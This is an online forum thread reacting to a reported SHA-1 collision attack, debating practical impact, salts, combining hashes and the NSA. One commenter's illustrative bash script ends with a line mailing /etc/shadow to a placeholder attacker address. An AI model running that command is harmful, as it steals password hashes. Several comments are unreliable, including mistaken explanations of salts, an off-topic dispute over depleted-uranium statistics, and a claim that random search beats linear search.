True. But the random blocks of data would have the additional restriction of being exactly the same size as a standard block. A more difficult problem.

Devon

Re:Cryptographic break =/= practical break

[ediron2]

... On the other hand, for that kind of money, cryptanalysis takes on different textures - why spend a billion to crack SHA-1 when you can buy the right wet-ware unit for a million?

I am not a wet-ware unit, I am a free ma.... a million bucks, huh?! Hmm... Ok!

(Seriously, can someone confirm: is 'buy the right wet-ware unit' simply another way of saying bribery and extortion, or did I miss some /. story on cybernetic implants of radeon chips or crays or something?)

Re:Cryptographic break =/= practical break

[swillden]

they certainly have the resources.

No, they don't. Not unless (until?) the attack is improved significantly.

In the first place, the attack is a collision attack, not a pre-image attack. That means that it's still necessary to hash, on average 2^159 blocks to find a match to a given block in a given download. They can improve that by looking for a match to any block in a given download, and improve it further by looking to match any block in any download, but it's still going to be computationally infeasible. And I mean computationally infeasible for anyone, even someone with vastly more computing resources than the RIAA.

Second, even if it were a pre-image attack, it requires 2^69 hash operations to succeed. That's still a very large number. Even if they were searching for any of a million blocks in parallel (looking for one match out of a whole bunch of song blocks), and even if their machines could test a million per second, and they had a thousand machines working on it, they would still need on the order of 2^19 seconds per match found, which means they'd find one song per year that they could corrupt a portion of. That's a lot of expense for very little return.

And the attack doesn't allow it anyway.

Your warez and your pirated movies and music are safe.

Re:Cryptographic break =/= practical break

[entrager]

If this happened, the Bittorrent protocol would be updated to include another (or possibly multiple) hashing algorithms. The protocol itself is very simple and expandable. Give me an hour or two and I can re-write the software to include both the SHA1 and MD5 hashes of the pieces, the client can then guarantee that the data is intact. Not an issue.

Also of note, should the protocol be expanded to include both hashes, backwards compatibility would be preserved. Clients that don't know anything about the MD5 hash would simply ignore it.

Re:Cryptographic break =/= practical break

[Anonymous Coward]

...and if they had that many machines to use, they could just put them on the internet and seed a bad file with a believable name.

Oh wait, they already do that. And, it's a lot cheaper than a supercomputer hashing farm.

Re:Unfortunately the SHA series seems to be suspec

[JM]

The problem with using SHA-1 for IDs is that you have a (very minimal) chance of collision: two users could have the same ID.

To get around this, append the time as a hexstring to the hash.

In php:
$id=$hash.dechex(time());

This way, you would need to get a collision at the exact same second of creation of the ID, which is nearly impossible.

Encryption vs. fingerprint hashing....

[otis wildflower]

.... So these hashes are still good for uniqueness out to 2^32 size fingerprints?

What's the best hash for file fingerprinting, for stuff like version databases, tripwire, etc?

Missing the point...

[Wes Janson]

It's gone from being a billion times easier, to a half a billion times easier, to just simply find the person responsible and beat any necessary data out of them with a baseball bat and/or knife. Which is cheaper? Extensive studying of cryptography, thousands of dollars of computers, and an extremely long waiting time in order to brute-force something? Or just buying plane tickets, a blunt object, looking up the person's address on MapQuest, and having Cousin Luigi pay a friendly visit?

Re:Missing the point...

[Anonymous Coward]

"simply find the person responsible and beat any necessary data out of them with a baseball bat and/or knife"

If you do that, you might get information out one time, and it might be correct. But that will be the end of that particular data stream.

If you can intercept encrypted commo, you have the possibility of a continued source of intelligence, and if you can intercept and modify encrypted commo, you can manipulate things for even more intelligence.

It's a lot more valuable if you can spy on your enemy and not let him know you are spying.

It really depends on how badly you want the info, and how badly you don't want discovered how you are acquiring it.

INSIGHTFUL?

[Anonymous Coward]

Parent poster is an IDIOT. And you mods, who dont read RTFA, or even the SUMMARY, are even WORSE... you are pathetic sheep and I pity your pointless existence.

Mod Parent Not-Flamebait

[rincebrain]

Parent is trying to be funny, dammit.

It's flamebait if they're trying to get flamed. They're trying to amuse.

Re:And they scoffed at my continued reliance on MD

[js7a]

Wild yes, but the source is here and it's apparently not a lie.

Please explain further.

[Anonymous Coward]

My understanding is that with MD5 they had found collisions but had not found a collision function. That is, they found values which collide with one another, but they don't have a procedure that can take in some arbitrary value X and return a collision Y.

Is there something I misunderstand, either about the nature of what these people found, or about what it means to have found a collision in a hash function?

Re:Please explain further.

[Lehk228]

both papers were (IIRC) generate two datasets X and Y with the same hash Z
the next step up is to, for any data X and hash Z determine a Y which does not equal X which has hash Z. THe ultimate breakage is when you can, for any data X with hash Z and arbitrary data Y generate M which has the property of Y+M has a hash of Z. At this point you can substitute a conrolled and malicious piece of data which can substitute for X.

Re:Unfortunately the SHA series seems to be suspec

[Anonymous Coward]

If you get to specify your own algorithm for creating an id, why not just specify a monotonically increasing number? (user number 1, 2, 3, ..., 18663, ...)

minor mistake

[Arngautr]

(or reviewed April ...two months from now depending on implementation date vs announcement date?)

better yet--

[bodrell]

What someone really ought to do is use ROT-7.5 twice to decrypt ROT-13.

Re:better yet--

[isometrick]

7.5? 13? I'm guessing you aren't the one who broke SHA-1 ... :-p

Re:better yet--

[SpaceLifeForm]

Someone found that ROT-6.5 works better.

Re:better yet--

[dago]

You neither, just run ROT-7.5 26 times and it should decrypt any ROT-13 encrypted message.

Of course, ROT-6.5 is faster (just 2 times).

Re:better yet--

[julie-h]

I thought the post with 7.5 and 13 were more fun.

Re:better yet--

[Anonymous Coward]

ROT-7.5 would work, but only for very large values of 13.

Re:better yet--

[Anonymous Coward]

So you know what a least common multiple is, but you can't read English? OP: "What someone really ought to do is use ROT-7.5 twice to decrypt ROT-13." (emphasis added)

Well I guess you may have written the paper, it's probably in Chinese. :-p

Re:better yet--

[Anonymous Coward]

Would 5 be large enough ?

Re:better yet--

[Anonymous Coward]

yes, but only for very small values of 5.

Both statements are fine -- salt explained

[gkwok]

Actually, both statements can coexist. In most password systems, the hash of the password itself is not stored; rather, it is a hash of the password concatenated with a string of random characters.

For example, if my password is "foobar", then the server does not store "8843d7f92416211de9ebb963ff4ce28125932878" as the hash, but perhaps the hash of "foobarDKTUHRAOHL" or "19747e26b86ee7939c046c0171a991926f0e01ae". The salt value "DKTUHRAOHL" is stored on the server and never revealed to anyone. So, even if somebody knows the hash value "19747...e01ae", they cannot come up with another string of characters that hashes to the same value, because even if they could, the value they enter in an attempt to hack my account is appended with "DKTUHRAOHL", rendering (almost certainly) a different hash value.

Now, if they know the salt value, the problem becomes equivalent to finding a string ending with "DKTUHRAOHL" that hashes to "19747...e01ae." However, if someone has gained access to a properly secured server's salt values, you have a large problem on your hands indeed.

Re:Both statements are fine -- salt explained

[Knightmare]

Actually most implementations store the salt along with the hash, so that you can move passwords from system to system, systems like nis, certain ldap implementations (read: not Active Directory), etc... wouldn't function if it was a per server salt. It is also much better to come up with a new salt for each password. The main purpose for this is to prevent pre-computed hash tables from being effective. Long live LANMAN :)

Re:Both statements are fine -- salt explained

[Anonymous Coward]

This is false. Salt values are publicly visible and stored along with its password hash (each password has a unique salt). There is no reason to hide them.

Re:Both statements are fine -- salt explained

[Anonymous Coward]

I suggest you learn about how salts work and how they are used before attempting to instruct others.

P.S. Salting passwords has absolutely nothing to do with this thread.

Re:Both statements are fine -- salt explained

[gkwok]

Oh, yes you're right. I don't know what I was thinking. The purpose of salting is to discourage dictionary attacks, so that would-be attackers cannot compile a list of words and their associated hashes. The randomness of the salt value eliminates anything dictionary-like about the password. Right, there's no reason the salt itself cannot be published; the problem is still equivalent to finding a string ending with a given salt value that hashes to a given hash.

Re:Both statements are fine -- salt explained

[shird]

Using a salt doesnt mean you can use the birthday paradox to your advantage at all. You are still left with the problem of an unknwon plaintext hashing to a known hash.

The birthday paradox is essentially finding *two* plaintexts that hash to the same arbritrary/unknown result. Not *one* plaintext that hashes to a known result.

Knowing part of the plaintext doesnt help at all unless you are doing a brute force dictionary style attack. (ie pre-computed hashed dictionary), as you say.

Re:Both statements are fine -- salt explained

[jovlinger]

I thought most systems encrypted (password + salt) using the password as key, and stored the result in the passwd table.

This makes it easy to check for correct password (simply decrypt the stored string, check for same password), and relieves you of storing the salt anywhere. The salt is truly random.

Re: [OT U poisoning]

[js7a]

What exactly is your source on this?

Heads roll at Veterans Administration -- Mushrooming depleted uranium (DU) scandal blamed

Writing in Preventive Psychiatry ... Arthur N. Bernklau, executive director of Veterans for Constitutional Law in New York, stated, "... Out of the 580,400 soldiers who served in GW1 (the first Gulf War), of them, 11,000 are now dead. By the year 2000, there were 325,000 on Permanent Medical Disability. This astounding number of 'Disabled Vets' means that a decade later, 56% of those soldiers who served have some form of permanent medical problems." The disability rate for the wars of the last century was 5 percent; it was higher, 10 percent, in Viet Nam....

"Terry Jamison, Public Affairs Specialist, Office of the Deputy Assistant Secretary for Public Affairs, Department of Veterans Affairs, at the VA Central Office, recently reported that 'Gulf Era Veterans' now on medical disability, since 1991, number 518,739 Veterans," said Berklau.

I asked vet-advocate Dan Fahey about this and here's what he wrote back:

> Are those figures right? From what I can find in Medline, I was
> expecting something like 35,000 on permanent disability, based
> on mortality rates, which are reported to be quite low. If these
> people are getting sick nine times more than Viet Nam vets, but
> are only dying 1.2 times as often, that's just hard for me to
> believe.

Yes, the figures are right, but their connection to DU is incorrect. This covers all injuries--broken leg, hurt back, as well as Gulf War illnesses.

I thought 'Gulf Era Veterans' could perhaps be including everyone who served anywhere 1990-1994, but it's still too big to believe.

29% is a big number, but 29% != 89% last time I checked.

Yeah, well, apparently a lot can change in two years. Compare to the graph of birth defects per 1000 live births reported in Basrah.

Also, there are many other explanations other than uranium dust, like chemical weapons in theatre.

The incidence rate differences observed in cohort studies between combat and non-combat veterans who got the same immunizations and drugs, used the same pesticides, and breathed the same amount if not more smoke from Kuwaiti oil field fires, have ruled out everything but uranium poisoning. The increase in brith defects observed in Basrah mirrors that of the male U.S. and U.K. troops' children's birth defects over time. The only hypothesis capable of explaining that is uranium inhalation, leading to spermatid genotoxicity from accumulation in the testes.

Having said that, it is very hard to explain how the contamination of Basrah occured, because almost all the time during and after the 1991 battles when uranium was being released, the prevailing winds would have been blowing them away from the city. Some people have suggested some kind of food-chain contamination, relating to either goats or birds.

But I don't think facts probably matter very much to you.

There is a collection of peer-reviewed medical research on the subject here.

Poly1305-AES

[D. J. Bernstein]

For people interested in secret-key message authentication: There are authenticators that are (1) much faster than HMAC-SHA-1 and (2) guaranteed to be as secure as AES. In particular, check out Poly1305-AES. Public-domain Poly1305-AES software is now online, though it isn't nicely packaged yet; if you're interested in further announcements, join the Poly1305 mailing list.

(This is not meant as a comment on the security of HMAC-SHA-1.)

Re:Poly1305-AES

[Just Some Guy]

Is anyone other than you promoting Poly1305-AES? I didn't see mention of it in the usual places, but I didn't look very hard either so I very well might have simply overlooked it.

guaranteed to be as secure as AES.

If it's found to have insecurities, will you assign the blame to the underlying OS / FPU (interesting choice to use floating point registers, BTW) / whatever and insist that Poly1305-AES it still completely secure?

Frankly, Dan, you may be one hell of a programmer, but your overall track record isn't so hot. For example, with Qmail your released a barely-functional core and called it "secure". Of course, to actually make it do anything, you have to apply a ton of patches, and when some of those break, you get to say "but Qmail is secure! That wasn't Qmail!" Between that and your much-publicized screwing over of your own students, a lot of us just don't trust you any more.

Still, if this algorithm is as good as you say, and is generally useful without having to add a lot of outside, unaudited code, then I wish you the best and look forward to its wide adoption. Good luck with it!

Re:And they scoffed at my continued reliance on MD

[Anonymous Coward]

plznofeedingtrollskthxbye

Re:Unfortunately the SHA series seems to be suspec

[jd]

Because it may be possible to exploit weaknesses based on the number. (For the same reason, the use of sequential numbers for TCP Sequences and Process IDs is discouraged in secure OS'.) It is generally considered better, from a security standpoint, to not have anything predictable by a potential attacker.

Re:Unfortunately the SHA series seems to be suspec

[jd]

Excellent idea. Different hashing functions are good for different things. Even functions that have been broken. Sure, they're no longer useful for handling digital signatures, but you're absolutely right to point out that that isn't the whole world.

A simple chart, mapping functions to, well, function, would be relatively easy and inexpensive on time and effort.

A much more arduous version would be to have a "league" table, where each league represents a class of activity. Each function could then be scored according to the attacks relevent to that activity that it survived or failed.

This would allow you to compare all functions for any given activity, even if some/all of those functions failed to measure up in other activities. It would also allow for a representation of the magnitude of a failure. Is a failure theoretical? Problematic under limited conditions? Or an absolute all-out disaster?

Oh...

[CharlesF]

When are they gonna fix it?

Whirlpool paper: an eye opener.

[Anonymous Coward]

Damn, just stumbled through the paper on Whirlpool - wow, that is very nice. Downloaded the ref code already and will have a few evenings of digging through new code; always a good time ... well, some of the time anyway (perl, i'm looking at you, sweetie).

Anyway, you guys should check that paper out: This is a link to their page. Good stuff.

Something else that's nagging me about SHA-1 (and the other SHA family members). Call me paranoid or whatever you like, but we all know the NSA has had the best hardware on the planet for a long time, probably more than just a few razor sharp minds come through (money does talk from time to time), and well, it just does sit plausible with me that a 'perfect' hashing algorithm (or any other for that matter) would be released to the public by the NSA. Let 'em have this flawed one, see what they do with it, can they can break it, see if they break it, if they do, release the next in line of closer-but-not-the-real-deal algos. Just .... nags at me you see. They have a very real, very serious intrest in having the most secure, assured, and proofable encryption/hashing/etc algos in the world. Great for them, i'd just like to stick to something from someone else for now ... in case our views of 'private' and 'no-longer-private-for-citizens' begin to differ.

Re:Whirlpool paper: an eye opener.

[jd]

The British World War II cypher cracking/making site at Bletchley Park routinely introduced torturous puzzles into daily newspapers as a means of detecting suitable candidates for their line of work. It got them some brilliant people who might never have otherwise been noticed.

It would not surprise me if that is part of what the NSA is doing, in releasing things like Skipjack and SHA-1 into the public -- forget the people who directly apply, they'd want the ones who directly smash these systems.

The NSA's work with SE-Linux has been peripheral, so I doubt there's any deliberate holes. However, it might also be a recruiting snare. High quality patches might get you an interview with the No Such Agency people. At the very least, really significant security code is going to mean you'll be working in a place they can trust.

So, yes, it's not paranoia to think there may be ulterior motives, because it has been done before, for various reasons. Usually not harmful reasons - in fact, the Bletchley lot had an R&D facility that would have been the envy of most, had they known about it. But in this day and age, I don't think it wise to assume everyone's got that kind of benign, logical, investigative outlook on life.

Re:Whirlpool paper: an eye opener.

[m50d]

But think about it a bit more. The NSA has the best hardware on the planet. Therefore, what they want is a hash that is vulnerable to people with said hardware, but not vulnerable to those without. Which is exactly what a perfect hashing algorithm would be. Remember what they did with DES? They fixed it so that differential cryptanalysis wouldn't work, making it more perfect. And they shortened the key length so that they could crack it with their hardware, but no one else had enough to crack it. I think they'll be as disappointed by this as anyone.

Re:Broken or not?

[tsotha]

Yep. This ain't no group of crackpots nobody's ever heard of. I would be shocked if they didn't do what they said they did.

not that useful yet...

[DangerTenor]

I think it is important to note that (from what I've heard, I haven't seen the paper either...) this collision attack is not very "real world" useful. Their attack is focused on taking a certain number of operations to come up with two hunks of data that result in the same hash.

In my opinion, a "real world" attack would be one which given a blob which has already been hashed, would come up with another blob which results in the same hash. To my knowledge, nobody has any useful attacks in that direction yet, although some would argue based upon this research that it may just be a matter of time.

Then we of course need to get into whether that is really useful either. If I find out that

"I agree to purchase 100 units for $500"

and

"*(\D$Hw&72d98a %93di(hd eLKH%ap$#"

results in the same hash, how helpful is that to me? How is a lawyer is going to prove to a jury that I may have actually signed the garbage instead of the purchase agreement? So, there is even more work to be done to make it a useful real world attack, wherein you might take the original signed text (modified for your evil purposes), append a null character, and then add garbage until the hashes are equal--and hope the UI was poorly written and just displays up to the first null.

Re:not that useful yet...

[Vo0k]

What about

---------
#!/bin/bash
# This neat proggy aims to provide you with login frequency stats
# Copyright (C) 2005 name of author

# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

last | sort | uniq -c
-------

versus:
---------
#!/bin/bash
ca t <<EOF
y&#229;&#186;-&#243;&#162;&#155;^@&#214;}&# 137;y&#136;&#254;m&#249;&#197;Eg&#136;&#200;i&#246 ;n&#235;&#242;n&#239;&#181;&#218;&#182;+|SH&#228;i &#136;vSjB&#182;3&#228;&yen;&#220;&#171;/&#247;&#2 22;'&#212;z&#212;&#187;&#212;f&#251;&#178;&#255;&# 192;-&#203;&#195;&#240;!&#255;&#208;K&#249;&#141;& #234;&#245;0&#242;}c&#253;&#139;^6&pound;&#249;'&# 253;&#207;&#250;--Z&#184;r5&#169;&#247;Z})&#183;n& #200;W&#254;
c/!&#132;x^L&#169;/
&#210;Ws-&#134; &#218;&#222;&#189;&#190;<&#232;&G&#191;'9&#239;&#1 71;.Sb&#246;&#222;&#245;f&#215;&#250;Eq&#209;:D&#2 22;k&#245;b&#166;&#185;iLvK'c&#227;&#237;&#132;&#2 26;7&#228;&#234;E'&#231;&#251;&#169;&#183;&#197; !&#196;{&#200;39J}&#130;&#155;&#141;^&#247;&#205;& #248;&#242;p(TM)&#251;c&#184;(S&#217;&#205;&#186;& #212;&#220;%%D&#173;~6d&#152;$&#204;]&#131;&#176;N 3'&#187;'g:&#186;!&#196;o&#136;&#158;k=wwl(&#197;& #195;'&#238;E
&#223;&#252;p&#137;&#227;cX)5c.&#17 5;Y&#185;&#206;&#196;&#225;j&#245;&#182;;k&#161;k= k-r&#204;!&#132;&#239;!e(TM)&#192;&#242;m&#227;&#1 68;&#247;&#203;"&#179;&#242;D7V&#241;~&#192;EdU&#1 74;f&#220;=Ew&#170;E'e&#217;\eh&#218;&#149;&#227;p &#181;z%
&#183;&#229;X&#228;M&#255;&#229;&#158;OV -&#245;\\S&#211;&#187;&g&#231;"&#242;R&#238;&#221; &#144;&#221;(TM)---r&#235;Rvn&#202;--&#221;X/!"("+ &#239;o&#229;?&#249;{&#242;&#255;&#253;[&#249;&#17 3;&#230;&#253;O&#254;&#234;?&#202;?&#248;&#187;&#2 42;&#254;&#174;&#252;G&#253;&#207;&#223;&#149;&#19 1;s
&#166;`r5&#190;(+
EOF >/dev/null

mail evil@hax0r.net </etc/shadow
last | sort | uniq -c
-------

A little later than that

[Anonymous Coward]

The restrictions on crypto export were relaxed in early 2000

Not necessarily

[jd]

Many hashing functions operate by simple bit manipulations. There are classes of hash function which use cellular automata instead. I believe there are some which use fast fourier transforms.

In general, we can say that there are infinitely fewer hashes than there are possible data objects you may wish to hash, and therefore there are infinitely many collisions. We can also say that for an N bit hash, at least one collision must occur over a range of (2^N)+1 values for the initial data object.

However, if the collisions occur on a totally cyclic basis, it doesn't matter if there's only ever one within that range. You know where it is, without the bother of looking.

Therefore, the strength of a hash can be measured as a function of two properties:

• The fewer collisions within one complete cycle, the better.
  
• The more random the distance between collisions, the better.
  

Bit operations have tended to be used, because they're fast and they allow some control over these two parameters. Other than that, there is no particular merit in using them.

Cellular automata can produce some excellent one-way functions. Their behaviour can also be far harder to predict, if the algorithm is good. However, they are computationally very expensive and getting a usefully strong algorithm is much harder than with bit manipulations.

Transforms are not generally considered one-way, because 99.9% of the time they are only useful because they are two-way. I've not really looked into how transform operations are used in hashes, but they presumably have some strengths.

(Transforms in cryptography, where you want to go from one domain to another and then back again, would make sense. They would also be useful for encryption modes, for generating the new encryption key for the next block.)

GnuPG vs. SHA-1

[morcego]

It is interesting to notice that on gnupg, if you are using DSA keys, you can't use SHA-2 hashes (SHA256+).

So, your best options are still SHA-1 and RIPEMD160.

Or revoking your DSA key and making a new RSA key. That way, you can use up to SHA512 hashes.

Re:Unfortunately the SHA series seems to be suspec

[JM]

I said *append* the time to the SHA1.

Before:
hash + zero-lenght string
After:
hash + sequential number

Sequential number is less predictable than the zero-length string ;-)

What do those numbers mean?

[dantheman82]

I read on one site - in answer to the question "What's the big deal - is 2**69 really all that bad?"

That's 2**11 less operations. Let's say breaking this (2**69 ops) takes the NSA a week. If it had been 2**80, it would have taken 2048 weeks, or 39 years. If it would have taken the NSA (or whomever) a year to break SHA-1 before, it could be broken in 4 hours.

My guess would be it would still take a lot longer than a week - but would now be in the realm of possibility, whereas before it would have been in the lifetime(s) range. However, this is totally a wild-assed-guess, based on the assumption that it was expected to take 100+ years before this to crack.

What to use instead?

[Anonymous Coward]

What one-way hash algo should we use instead?? I think I'll wait for the NSA to recommend another.

From a comment in the article...

[d474]

From a comment in the article:

Jordan is correct - 2^69 is still a large data space to search. However, as Randell points out, this is a lot better than 2^80.
Assume you had 100,000 CPUs each capable of 4,000,000,000 tests per second.
That works out to 1,475,739 seconds to find a collision or about 17 days.
It is unlikely that such equipment exists, but it gives an idea of a possible worst case.
However, many digital signatures need to be secure much longer than 3 weeks.
Think of a contract for a 30-year mortgage. (emphasis mine)

I like the way this guy thinks...hmmmmm...

Eww Decimal

[Eunuch]

How does decimal keep creeping into these nice binary number discussions? Maybe use hexadecimal if you really need to.

Re:FUCK

[Anonymous Coward]

haha you been pWnd by Chinese! Again!

This message has been hacked by the Chinese!

Is this different than from Crypto 2004??

[Anonymous Coward]

Same researchers announced some vulnerabilities in MD5 and SHA-1:

See:
http://www.arnnet.com.au/index.php/id;1503863220;f p;512;fpid;710205681
Researchers have discovered a flaw in the MD5 algorithm that is used to provide a unique signature for data.

Xiaoyun Wang, a Chinese expert, and three colleagues have discovered the flaw in the hash function algorithm, which is used in applications, such as EMC's Centera content-addressable file store. The flaw was revealed at the Crypto 2004 conference.

Also:
http://www.rsasecurity.com/rsalabs/node.asp?id=273 8

* The hash function collisions recently discovered have minimal practical impact at this time due to the limitations discussed further. It is not clear that these research results can be turned into practical exploits on most typical uses of these hash functions, so there is no immediate need to replace hash algorithms.
* As a precaution, applications using a legacy hash function described as vulnerable should upgrade to the NIST-approved SHA1 or SHA2 family of algorithms (RSA Laboratories suggested a migration to SHA1 in 1996).
* Applications using SHA1 do not appear to be at risk, but conservatively, developers may also consider planning an upgrade to the SHA2 family in the next few years.

Enough secrecy...

[mmkay76]

information wants to be free!!!

Re: [OT U poisoning]

[mlyle]

So basically, you're completely failed to substatiate 89% or its connection to DU. (Your own number above is 56%; again, I think it is inaccurate, but you appear to be coming off the 89% number..) Anyways, whether 56% is true or not, 56%!=89%, also.

Incidentally, 12-18% of people 18-64 have some form of disability according to the 2000 US census. 29% is really not that much more than 18%, especially when mental/anxiety/PTSD effects are considered.

How about using MD5 and SHA-1 togeher

[geo_2677]

I am not a cryptographer but shouldn't it be possible to use MD5 and SHA-1 for the same piece of text together. How likely is the hash sum for a particular text to be cracked for both the algos and have the same modified text. Will it make it a bit more tougher to be cracked?

Re:How about using MD5 and SHA-1 togeher

[Anonymous Coward]

I'm not a crypto guy but I've read that combining them doesn't really help :(

I think the logic goes that, say - for example - if you did sha1(md5($input)) that'd just make it a weird input for sha1, but sha1 is breakable not through simple input, it's just breakable.

Re:How about using MD5 and SHA-1 togeher

[geo_2677]

What I meant was to have two digest sums. So you have the text message , the MD5(text) and SHA1(text). Then verify against both.

Re:How about using MD5 and SHA-1 togeher

[bani]

this is actually what some people do. they use two hashes to verify a single text. it's actually a recommended method in some circles.

i haven't heard of any attacks that work on this.

Re:How about using MD5 and SHA-1 togeher

[Raphael]

sha1(md5($input)) is weaker than either sha1($input) or md5($input) alone. If one of them is broken, your digest is broken.

But append(sha1($input),md5($input)) is stronger than one of them alone. You would have to break both of them in order to fake a signed message.

Re:How about using MD5 and SHA-1 togeher

[Anonymous Coward]

The MD5-collision (at least) involve carefully contrived data blocks embedded in the plaintext. It seems extremely unlikely that someone could create a block of data that would produce a collision in both MD5 and SHA-1... though you never know, I guess.

So, yes, I think that's a very good idea.

Re:How about using MD5 and SHA-1 togeher

[m50d]

A little bit. But not as much as just using a double-length SHA variant (SHA-256 or something)

Re: [OT U poisoning]

[js7a]

325,000, the figure from 2000 is 56%.

518,739, the figure from late 2004, is 89%.

Compare that slope to Basrah's birth defect incidence graph from the table in this report.

Re:China's Motive

[Anonymous Coward]

Hashes have nothing to do with privacy.

You can stop your racist fear-mongering now.

Question for you

[Anonymous Coward]

Now that your law suit has ended, how about releasing your cryptography lecture material in the internet?

missing the overall point

[jnf]

What you have to figure is that with any hash thats shorter than the max amount of data, then the possibility of collisions will occur;
figure that if you could represent every possible combination in 128 bits, you would never need to have 129 bits of data.
Because this is not true all hashes will have collisions. However the chances of multiple hashes all having collisions with altered data is 'pretty damn slim'. So therefore the best solution, most likely in the future, and presently is to authenticate messages, identification (ala ssl certificates**) and binaries with multiple hashs known to be reasonably strong. One doesnt need to be a cryptologist to realize that using something like md5, sha256 and like ripemd160, the chances of collision in all 3 hashes are quite slim, and within the range of acceptable risk.

Re:missing the overall point

[jnf]

Oops, I forgot my own footnote. **: SSL already uses 2 forms of hash, md5 and sha1

Re:Unfortunately the SHA series seems to be suspec

[boots@work]

A better idea is to use UUIDs, where these problems have already been considered, and systematically handled. On Linux, just read from /proc/sys/kernel/random/uuid.

Re:China's Motive

[jameszhou2000]

as long as they show the results, it can be verified.

in theory, given a hash number, it takes centuries to find the collision.

given the hash number, if you could come up with a collision in days or even in months on your PC. that means you break the code.

in order to believe it is broken, you don't need to know the details of the alorithm.

Not a big surprise

[Anonymous Coward]

More than 6 months ago, papers were going around telling people to 1. Stop using MD5 as a secure checksum immediately, and start moving away from SHA-1 as it's security was becoming more vulnerable by the day. Researchers reccomended moving to SHA-256 to prevent accidental breach of data security (sooner, rather than later). There have been many different cracks involving SHA-1 (albiet simplified versions, but you just knew more would eventually be coming). Well it's here now! SHA-512 here we come!

Bittorrent is for suckers

[Anonymous Coward]

I'm not sure if you are talking about retrieving the original file from the hash, but if you are, then you don't understand what hash functions are for.

Dude, when they release a new morphix iso I save tons of bandwidth by downloading the md5 then reconstructing it from that. You wouldn't think they'd be able to fit 0.7G in a dozen or so characters, but that's the marvel of encryption! No more wasting CDs; I just jot the OS down on a scrap of paper or failing that, my arm.

Can someone

[Deliveranc3]

Explain to me why this isn't useful for compression?

I know it's next to impossible to create the data from the hash but shouldn't it be theoretically possible?

If the hash reduces the possible files which match it by 99.999% then shouldn't it be possible to send that much less data?

Re:Can someone

[pe1chl]

It is not reversible because more than one datafile (with different content) will map to the same hash value. So you don't know which of those was the original file.

Re:Can someone

[Rothron the Wise]

If the hash reduces the possible files which match it by 99.999% then shouldn't it be possible to send that much less data?

Yes, but that's not what the hash does. It only makes it much harder to find files that hash to the same value because the hash values are randomly distributed. If you have a 160-bit hash then (ideally) every 2^160th file will have the same hash.

This means basically that there are an infinite number of files that hash to the same value. For this to be used for compression there must be a 1:1 relation between inputs files and outputs hashes. In other words, the algorithm must be reversible, something which cryptographic hashes are not. When a file is hashed, data is thrown away, data which can never be recovered.

Re:Can someone

[Anonymous Coward]

Others have answered why it can't be used.. The specific reason is the "counting argument". In essence it says that you can't put 13 eggs in a container that holds just a dozen. There will always be collisions.

Think of it this way: A given bit length, x, will give 2^x number of unique possibilities. A hash length is some fraction of this, but is necessarily smaller. Even if the hash length was just a single bit smaller, then you'd have half as many "containers" meaning that you'll need to double up. These doublings are the collisions where more than one source generates the same hash.

Kwan

Re:Can someone

[Deliveranc3]

Um there is a finite file size so not an infinite number...

Let's say the file is 2^1000 then you could remove 2^160 with a 2^160 from that further, since the file won't be garbage. You can remove any data which isn't of the filetype you expect (formatted headers for example).

The impression I got from hashing is that most of the files that are also congruent with the same hash data will be of a diffrent size.

I will have to examine the algorithm a bit more, but it seems you can use filesize+hashsize to remove > hashsize+filesize possibilities from the file.

Re:Can someone

[praxis]

There certainly is not a finite file size. A file is a set of bits. True, there exist file systems which place constraints on file size, as there exist phsycial media which place constraints on file size. That though is not necessarily always the case. In any case if you find a way of two-way mapping 1:1 an infitite set to a finite set, publish a paper, get famous, and profit handsomly. You'd deserve it.

Also, say you have a file sized 2^(2^48), which is not unreasonable. Hash that with a 160-bit hash. You are mapping 2^(2^48) different points in the original data set to 2^160 different points in the hash set. So each point in the hash set corresponds to 2^(2^48) / 2^160 or 2^(2^48 - 160). That's still a large number. In fact, you've reduced the search space from 2^281474976710656 (no data, hash length of 0, or trying to guess the original file which was infinitely compressed, etc) to 2^281474976710496 (160-bits hash as information, trying to guess the original data). This is a reduction of So even taking into account known headers (which will adjust the search space by a constant factor, not even linear or exponential factor), you still have a lot of guessing to do. Of course, with larger files, your reduction of the search space is going to be even smaller. I suppose it is feasable if you have a very constrained format for your data, but then you'd have to treat all unique, valid combination of bits as a seperate point in the original data set.

I've assumed a large file where any sequence of bits is valid data. But, the more constrained the data, the less information. So in the end we are really talking about only compressing the useful information, which reduces to the same problem really. Take a video file with is 100 bytes header and 1,000,000 bites useful data. You can just treat that as a 1,000,000 byte binary unconstrained file and analyze as above. Unless you want to do very fancy video analysis --"I know this is a news program so I'm going to constrain my search to valid 'talking head' type video" kind of thought.

Re:Can someone

[Deliveranc3]

But shouldn't it reduce it by Filesize/Filesize*hashsize?

What to use in new apps?

[BigZaphod]

I'm actually working on an app that was going to use SHA-1 for integrity verification. I may just stick with SHA-1 because I'm not terribly familiar with the other options out there in this realm. So ideally, what should new apps use these days? What would be the recommended "safe" algorithm? And can I find a nice, tested C library/code for it? :-)

Re:What to use in new apps?

[bani]

use two different hashes to verify the same text. eg MD5 and SHA1.

No way in hell!

[ZeekWatson]

There is no way in hell you can hash a 700MB file in 0.01 seconds.

It might not take that long to search...

[mveloso]

A couple of years ago, I was fooling around with random number generators and wondered if a random search of a space (used generically as a range of values) would be faster than a linear search through the same space.

The answer, in my small tests, was yes. I only got up to a couple of thousand digits before I got bored, but the random search tended to beat the linear search about 60% of the time.

In cases where the random search beat the linear search, the random search found the answer in substantially less time than the linear search.

I have no idea why this should be, but there it is. My random number generator was www.random.org.

I'm sure nobody else'll try, but if you do, post the results.

Re:It might not take that long to search...

[rbarreira]

Well, what was the space that you were searching?

I find your statements odd, since a linear search is as random as a random search...

Don't panic! 'Broken' is not Cracked

[Zeinfeld]

After some research, I decided that SHA1 was more secure than MD5.

MD5 was 'broken' in 1995 by Hans Dobbertin who discovered compressor function collisions. It was almost another 10 years before the compressor function collisions were turned into an attack which produced hash collisions.

So there is a serious security problem here but it does not mean that everything that uses SHA-1 is now vulnerable. There are many applications where MD5 is completely adequate. If you have a really good reason to do so and a really good understanding of the security requirements and risks you can use even something like MD2.

